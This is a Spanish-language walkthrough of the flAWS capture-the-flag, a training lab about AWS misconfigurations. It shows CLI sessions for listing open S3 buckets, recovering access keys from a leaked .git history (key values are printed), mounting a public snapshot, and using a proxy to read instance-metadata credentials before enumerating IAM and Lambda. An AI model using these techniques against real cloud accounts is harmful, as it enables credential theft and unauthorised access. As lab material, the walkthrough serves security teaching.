flAWS es un capture de flag para enseñar problemas que son específicos de AWS.

Link -> http://flaws.cloud/

Nivel 1

Notas: los nombres de S3 son únicos y deben estar acorde al dominio. Se pueden tener sitios estáticos muy eficientes en S3 con cloud. La lógica compleja es (aunque puedes hacerlo sin security headers):

Como saber si un sitio esta en S3? Con un  DNS lookup.

ali% dig  flaws.cloud any +multiline +noall +answer   
flaws.cloud.            4 IN A  52.218.176.138
flaws.cloud.            21599 IN NS ns-1061.awsdns-04.org.
flaws.cloud.            21599 IN NS ns-1890.awsdns-44.co.uk.
flaws.cloud.            21599 IN NS ns-448.awsdns-56.com.
flaws.cloud.            21599 IN NS ns-966.awsdns-56.net.
flaws.cloud.            899 IN SOA ns-1890.awsdns-44.co.uk. awsdns-hostmaster.amazon.com. (
                                1          ; serial
                                7200       ; refresh (2 hours)
                                900        ; retry (15 minutes)
                                1209600    ; expire (2 weeks)
                                86400      ; minimum (1 day)
                                )

De hecho si vas a 52.218.176.138 en tu buscador verás AWS.

Hay muchas regiones y lo puedes bruteforcear o hay tools que lo hacen por ti, pero para saber que región lo más sencillo es una nslookoup

kali% nslookup 52.218.176.138
138.176.218.52.in-addr.arpa     name = s3-website-us-west-2.amazonaws.com.

De ahí puedes ir directamente a http://flaws.cloud.s3.amazonaws.com/ o hacerlo con la CL

Kali% aws s3 cp s3://flaws.cloud/secret-dd02c7c.html --no-sign-request --region us-west-2 .

download: s3://flaws.cloud/secret-dd02c7c.html to ./secret-dd02c7c.html

kali% cat secret-dd02c7c.html 
<html>
    <head>
        <title>flAWS</title>
        <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
        <style>
            body { font-family: Andale Mono, monospace; }
            :not(center) > pre { background-color: #202020; padding: 4px; border-radius: 5px; border-color:#00d000; 
            border-width: 1px; border-style: solid;} 
        </style>
    </head>
<body 
  text="#00d000" 
  bgcolor="#000000"  
  style="max-width:800px; margin-left:auto ;margin-right:auto"
  vlink="#00ff00" link="#00ff00">
    
<center>
<pre >
 _____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_ 
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  '  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|
</pre>

<h1>Congrats! You found the secret file!</h1>
</center>


Level 2 is at <a href="http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud">http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud</a>%

Nivel 2

Muy similar pero si intentamos entrar directo no sale:

En este caso, igual que el anterior, list estaba enable

kali% aws s3   ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud 
2017-02-26 21:02:15      80751 everyone.png
2017-03-02 22:47:17       1433 hint1.html
2017-02-26 21:04:39       1035 hint2.html
2017-02-26 21:02:14       2786 index.html
2017-02-26 21:02:14         26 robots.txt
2017-02-26 21:02:15       1051 secret-e4443fc.html
kali% 

Podemos hacer exactamente lo mismo que en el anterior.

Nivel 3

Muy similar pero tienes que estar autenticado y no hay un “secret” pero hay un .git:

kali% aws s3   ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ 
                           PRE .git/
2017-02-26 19:14:33     123637 authenticated_users.png
2017-02-26 19:14:34       1552 hint1.html
2017-02-26 19:14:34       1426 hint2.html
2017-02-26 19:14:35       1247 hint3.html
2017-02-26 19:14:33       1035 hint4.html
2020-05-22 14:21:10       1861 index.html
2017-02-26 19:14:33         26 robots.txt
kali% 

Puedes bajar todo con sync

kali% aws s3  sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . 
warning: Skipping file /home/kali/.mozilla/firefox/4km1vnxb.default-esr/lock. File does not exist.
Completed 0 Bytes/~128.9 KiB (0 Bytes/s) with ~29 file(s) remaining (calculatiCompleted 52 Bytes/256.6 KiB (41 Bytes/s) with 36 file(s) remaining           download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/COMMIT_EDITMSG to .git/COMMIT_EDITMSG
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/description to .git/description
[...]
kali% cd .git 
kali% ls
COMMIT_EDITMSG description hooks info objects
config HEAD index logs refs
kali%

Con git.log puedes ver cambios:

commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <[email protected]>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <[email protected]>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit
(END)

kali% git checkout f52ec03 
M       index.html
Previous HEAD position was b64c8dc Oops, accidentally added something I shouldn't have
HEAD is now at f52ec03 first commit
kali% ls
access_keys.txt          hint1.html  hint3.html  index.html
authenticated_users.png  hint2.html  hint4.html  robots.txt
kali% 

ahora existe un archivo que se llama access_keys.txt

Con eso podemos hacer un profile nuevo de AWS y vemos todos los buckets

kali% aws configure --profile flaws
AWS Access Key ID [****************PLAF]: AKIAJ366LIPB4IJKT7SA
AWS Secret Access Key [****************n]: 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
Default region name [None]: 
Default output format [None]: 
kali% aws --profile flaws s3 ls
2017-02-12 16:31:07 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-29 12:34:53 config-bucket-975426262029
2017-02-12 15:03:24 flaws-logs
2017-02-04 22:40:07 flaws.cloud
2017-02-23 20:54:13 level2-c8b217a33fcf1f839f.....flaws.cloud
2017-02-26 13:15:44 level3-9afd3927f195e10225....flaws.cloud
2017-02-26 13:16:06 level4-1156739cfb264ced6de.....flaws.cloud
2017-02-26 14:44:51 level5-d2891f604d2061b6977.....flaws.cloud
2017-02-26 14:47:58 level6-cc4c404a8a8b876167....flaws.cloud
2017-02-26 15:06:32 theend-797237e8ada164bf9f....flaws.cloud

Nivel 4

Para saber quien somos (los de las credentials)

kali% aws --profile flaws sts get-caller-identity
{
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}

Vemos que nos llamamos backup ^ asi que vamos a buscar backups.

kali% aws --profile flaws  ec2 describe-snapshots --owner-id 975426262029 --region us-west-2
{
    "Snapshots": [
        {
            "Description": "",
            "Encrypted": false,
            "OwnerId": "975426262029",
            "Progress": "100%",
            "SnapshotId": "snap-0b49342abd1bdcb89",
            "StartTime": "2017-02-28T01:35:12.000Z",
            "State": "completed",
            "VolumeId": "vol-04f1c039bc13ea950",
            "VolumeSize": 8,
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "flaws backup 2017.02.27"
                }
            ]
        }
    ]
}
kali% 

Tienes que crear una maquina virtual y copiar el snapshot y montarlo

aws --profile YOUR_ACCOUNT ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89

Cuando lo montas puedes ver todos los archivos, hay uno con una contraseña en /home/ubuntu/setupNginx.sh

Nivel 5

El instructivo dice que tiene un Proxy asi que podemos pedir el meta-data

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/

Desde ahí podemos ir a /latest/meta-data/iam/security-credentials/flaws y vemos un token esta vez. Ese token lo tenemos que poner en el ~/.aws/credential

kali% aws --profile level5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
                           PRE ddcc78ff/
2017-02-26 21:11:07        871 index.html

Nivel 6

Para empezar este nivel recibes unas credenciales, lo primero que tienes que hacer es ver el nombre de la cuenta

kali% aws --profile level6 iam get-user
{
    "User": {
        "Path": "/",
        "UserName": "Level6",
        "UserId": "AIDAIRMDOSCWGLCDWOG6A",
        "Arn": "arn:aws:iam::975426262029:user/Level6",
        "CreateDate": "2017-02-26T23:11:16Z"
    }
}
kali% 

Puedes checar las policies del usuario

kali% aws --profile level6 iam list-attached-user-policies --user-name Level6
{
    "AttachedPolicies": [
        {
            "PolicyName": "list_apigateways",
            "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
        },
        {
            "PolicyName": "MySecurityAudit",
            "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
        }
    ]
}
kali% 

Puedes ver que dice las polizas con:

kali% aws --profile level6 iam get-policy  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
{
    "Policy": {
        "PolicyName": "list_apigateways",
        "PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
        "Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "List apigateways",
        "CreateDate": "2017-02-20T01:45:17Z",
        "UpdateDate": "2017-02-20T01:48:17Z"
    }
}
kali%  aws --profile level6 iam get-policy-version  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "apigateway:GET"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2017-02-20T01:48:17Z"
    }
}
kali% 

Lo interesante es el GET, ahora vamos a revisar la otra poliza.

aws --region us-west-2 --profile level6 lambda list-functions

Eso te dice que hay una función que se llama leve6

aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6

Esa tiene otra polica “s33ppypa75” rest-api-id. Si la revisas

aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
Te dice que puedes executar "Prod".

Ahora para ejecutarla: Lambda functions necesitan rest-api-id, stage name, region, and resource como https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6

Fin 🙂